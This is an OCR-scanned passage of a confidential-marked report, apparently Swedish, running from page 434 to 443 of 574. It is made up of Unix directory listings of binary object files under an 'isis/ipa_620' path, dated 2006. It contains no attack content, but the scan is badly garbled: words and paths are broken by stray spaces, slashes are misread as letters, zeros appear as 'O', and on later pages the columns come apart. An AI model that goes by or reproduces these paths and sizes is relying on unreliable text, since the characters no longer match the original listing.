-rwxr-xr-x O 1367 495500 11829 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002b/03 .b i4  

-rwxr-xr-x O 1367 495500 57061 Oct 17 2006 /u/d955/DAF1367/ is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00002b/45 . b i4 

Stri ct ly conti dent ia  l l Bus i ness Secret l 

Sidan 434 av 574 



Report 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002b/46. b i4 

-rwxr-xr-x O 1367 495500 57207 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002b/88 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002b/89 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002c/ 

-rwxr-xr-x O 1367 495500 57207 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002c/c6. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002c/c7 . b i4 

-rwxr-xr-x O 1367 495500 57305 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002c/06 .b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002c/07 .b i4 

-rwxr-xr-x O 1367 495500 16939 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00002c/45 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na ries/00000000/00000000/00002c/8a . b i4 

-rwxr-xr-x O 1367 495500 57207 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002c/89 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i na ries/00000000/00000000/00002d/ 

-rwxr-xr-x O 1367 495500 1884 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002d/cl . b i4 

-rwxr-xr-x O 1367 495500 75449 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002d/06 .b i4  

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002d/07 . b i4 

-rwxr-xr-x O 1367 495500 57207 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na ri es/00000000/00000000/00002d/45 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002d/46 .b i4  

-rwxr-xr-x O 1367 495500 57220 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/00002d/8a . b i4 

Strict ly confidenti a l  l Bus iness Secret l 

Sidan 435 av 574 



Report 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002d/8b . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002e/ 

-rwxr-xr-x O 1367 495500 58660 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002e/c5 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00002e/c6 . b i4 

-rwxr-xr-x O 1367 495500 1593 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/00002e/Ol . b i4 

-rwxr-xr-x O 1367 495500 30405 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002e/02 . b i4 

-rwxr-xr-x O 1367 495500 2 126 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002e/03 . b i4 

- rwxr-xr-x O 1367 495500 1 100 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00002e/04 .b i4  

-rwxr-xr-x O 1367 495500 1001 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00002e/05 . b i4 

-rwxr-xr-x O 1367 495500 1 180 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00002e/06. b i4 

-rwxr-xr-x O 1367 495500 55865 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002e/47 . b i4 

- rwxr-xr-x O 1367 495500 2920 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002e/48. b i4 

-rwxr-xr-x O 1367 495500 58660 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00002e/86 .b i4  

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00002e/87 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002f/ 

-rwxr-xr-x O 1367 495500 571162 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002f/c2 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00002f/c3 . b i4 

-rwxr-xr-x O 1367 495500 58660 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/00002f/06 . b i4 

Stri ct ly confident i a l  l Bus iness Secret l 
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Repan 

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002f/07 . b i4 

-rwxr-xr-x O 1367 495500 8911 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00002f/44. b i4 

-rwxr-xr-x O 1367 495500 58605 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002f/87 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002f/88 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002f/89 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000020/ 

-rwxr-xr-x O 1367 495500 550119 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000020/c2 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/000020/c3 . b i4 

-rwxr-xr-x O 1367 495500 3 100 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000020/02 . b i4 

-rwxr-xr-x O 1367 495500 507 16 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r i es/00000000/00000000/000020/43 . b i4 

-rwxr-xr-x O 1367 495500 3896 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000020/44. b i4 

-rwxr-xr-x O 1367 495500 198928 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000020/86 .b i4 

-rwxr-xr-x O 1367 495500 124 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000020/87 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00002 1/ 

-rwxr-xr-x O 1367 495500 53472 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000021/c4 .b i4 

-rwxr-xr-x O 1367 495500 1 125 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/000021/c5 . b i4 

-rwxr-xr-x O 1367 495500 40526 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ri es/00000000/00000000/000021/06 . b i4 

-rwxr-xr-x O 1367 495500 14030 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/000021/07 .b i4  

Strictly confidenti a l  l Bus i ness Secret l 

Sidan 437 av 574 



Report 

- rwxr-xr-x O 1367 495500 8900 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000021/41 . b i4 

-rwxr-xr-x O 1367 495500 11272 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ri es/00000000/00000000/000021/42 . b i4 

-rwxr-xr-x O 1367 495500 46020 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000021/84 .b i4  

-rwxr-xr-x O 1367 495500 8655 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000021/85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000022/ 

- rwxr-xr-x O 1367 495500 66641 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000022/c5 . b i4 

-rwxr-xr-x O 1367 495500 275 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000022/c6 . b i4 

-rwxr-xr-x O 1367 495500 4258 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000022/02 . b i4 

-rwxr-xr-x O 1367 495500 54648 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/000022/06 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000022/07 . b i4 

- rwxr-xr-x O 1367 495500 4031 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000022/45 . b i4 

- rwxr-xr-x O 1367 495500 54742 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000022/85 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina r ies/00000000/00000000/000022/86 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000023/ 

- rwxr-xr-x O 1367 495500 4316 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000023/c5 . b i4 

-rwxr-xr-x O 1367 495500 52155 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i na r ies/00000000/00000000/000023/06. b i4 

- rwxr-xr-x O 1367 495500 2456 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000023/07 . b i4 

- rwxr-xr-x O 1367 495500 130412 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000023/4c .b i4  

Strictly confidenti a l  l Bus iness Secret l 

Sidan 438 av 574 



Report 

-rwxr-xr-x O 1367 495500 130162 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/000023/43 . b i4 

-rwxr-xr-x O 1367 495500 130403 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000023/51 . b i4 

-rwxr-xr-x O 1367 495500 54584 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000023/85 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000023/86 .b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi na ries/00000000/00000000/000024/ 

-rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000024/cc. b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000024/cd . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000024/ce . b i4 

-rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000024/11 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000024/12 . b i4 

-rwxr-xr-x O 1367 495500 4768 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/000024/42 . b i4 

-rwxr-xr-x O 1367 495500 55484 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000024/9a . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000024/9b . b i4 

-rwxr-xr-x O 1367 495500 55484 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000024/91 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi na r ies/00000000/00000000/000024/92 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000025/ 

-rwxr-xr-x O 1367 495500 50783 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000025/cb . b i4 

-rwxr-xr-x O 1367 495500 4161 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000025/cc .b i4 

Strictly confident i a l  l Bus i ness Secret l 

Sidan 439 av 574 



Report 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000025/cd . b i4 

-rwxr-xr-x O 1367 495500 3 123 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000025/c4 .b i4  

- rwxr-xr-x O 1367 495500 305 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000025/0a . b i4 

-rwxr-xr-x O 1367 495500 131338 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000025/0b .b i4  

-rwxr-xr-x O 1367 495500 131338 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000025/01 . b i4 

-rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000025/09 . b i4 

- rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000025/4a . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000025/4b . b i4 

-rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000025/84. b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000025/85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000026/ 

-rwxr-xr-x O 1367 495500 18448 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000026/c4 .b i4  

- rwxr-xr-x O 1367 495500 87309 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000026/06. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000026/07 . b i4 

-rwxr-xr-x O 1367 495500 54944 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a ri es/00000000/00000000/000026/46 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000026/47. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000026/48 . b i4 

- rwxr-xr-x O 1367 495500 43894 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i na r ies/00000000/00000000/000026/8d . b i4 

Stri ct ly confident i a l  l Bus i ness Secret l 

Sidan 440 av 574 



Repon 

-rwxr-xr-x O 1367 495500 11077 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000026I8e . b i4 

- rwxr-xr-x O 1367 495500 3695 Oct 17 2006 luld955IDAF1367I is i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000026I82 .b i4  

-rwxr-xr-x O 1367 495500 4811 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000026I85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000027 l 

-rwxr-xr-x O 1367 495500 43095 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000027 lc6 . b i4 

-rwxr-xr-x O 1367 495500 13766 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a ri esiOOOOOOOOIOOOOOOOOI000027 lc7 . b i4 

-rwxr-xr-x O 1367 495500 55156 Oct 17 2006 luld955IDAF1367 lis i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000027 I05 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000027 I06 .b i4  

-rwxr-xr-x O 1367 495500 54903 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000027 l44. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000027 l45 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000027 l8a . b i4 

-rwxr-xr-x O 1367 495500 54809 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000027 l88 .b i4  

-rwxr-xr-x O 1367 495500 O Oct 17 2006 luld955IDAF1367Iis i sli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000027I89 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 li s i sli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000028I 

-rwxr-xr-x O 1367 495500 56827 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000028Icd . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000028Ice . b i4 

-rwxr-xr-x O 1367 495500 3329 Oct 17 2006 luld955IDAF1367 lis i sli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000028Ic4 .b i4 

-rwxr-xr-x O 1367 495500 4768 Oct 17 2006 luld955IDAF1367Iis i sli pa_620iobjectslbi n a ri esiOOOOOOOOIOOOOOOOOI000028I02 .b i4  

Strict ly confidenti a l  l Bus i ness Secret l 

Sidan 441 av 57 4 



Report 

- rwxr-xr-x O 1367 495500 56841 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000028/45 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367/ i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000028/46. b i4 

- rwxr-xr-x O 1367 495500 56764 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000028/88 . b i4 

- rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ri es/00000000/00000000/000028/89 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000029/ 

- rwxr-xr-x O 1367 495500 4709 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000029/c3 . b i4 

- rwxr-xr-x O 1367 495500 56979 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000029/c8 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000029/c9 . b i4 

- rwxr-xr-x O 1367 495500 56949 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000029/08 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000029/09 . b i4 

- rwxr-xr-x O 1367 495500 56906 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000029/85 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000029/86. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00003a/ 

-rwxr-xr-x O 1367 495500 9271 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003a/c4 .b i4  

- rwxr-xr-x O 1367 495500 3 164 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003a/03 . b i4 

- rwxr-xr-x O 1367 495500 9271 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi n a ries/00000000/00000000/00003a/44 .b i4  

- rwxr-xr-x O 1367 495500 157500 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00003a/81 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/ 

Strictly confidenti a l  l Bus i ness Secret l 

Sidan 442 av 574 



- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

- rwxr-xr-x O 1367 495500 

Report 

1225 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/aa . b i4 

1 124 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/ab . b i4 

1 116 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/ac .b i4  

1068 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/00003b/ad . b i4 

1499 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00003b/ae . b i4 

1 116 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina r ies/00000000/00000000/00003b/af. b i4 

1 164 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/aO. b i4 

1 123 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/a l . b i4 

1094 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00003b/a2 . b i4 

1327 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/a3 . b i4 

1 124 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/a4. b i4 

1212 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/a5 . b i4 

1 1 14 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00003b/a6 . b i4 

2014 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/a7 .b i4  

1233 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003b/a8 . b i4 

1 148 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/a9 . b i4 

1 101 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/bO .b i4  

1404 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi n a ri es/00000000/00000000/00003b/bl . b i4 

Str ict ly confidenti a l  l Bus i ness Secret l 

Sidan 443 av 574 



-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Report 

989 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/b2 . b i4 

1532 Oct 17 2006 /u/d955/DAF 1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/b3 . b i4 

1201 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/b4. b i4 

1018 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00003b/b5 . b i4 

4268 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/b8 . b i4 

5354 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/c3 . b i4 

-rwxr-xr-x O 1367 495500 157034 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/c4 .b i4  

-rwxr-xr-x O 1367 495500 5975 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00003b/04 .b i4  

-rwxr-xr-x O 1367 495500 4465 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/43 . b i4 

-rwxr-xr-x O 1367 495500 4124 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/8c. b i4 

-rwxr-xr-x O 1367 495500 5 196 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/8d . b i4 

-rwxr-xr-x O 1367 495500 9449 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/8f. b i4 

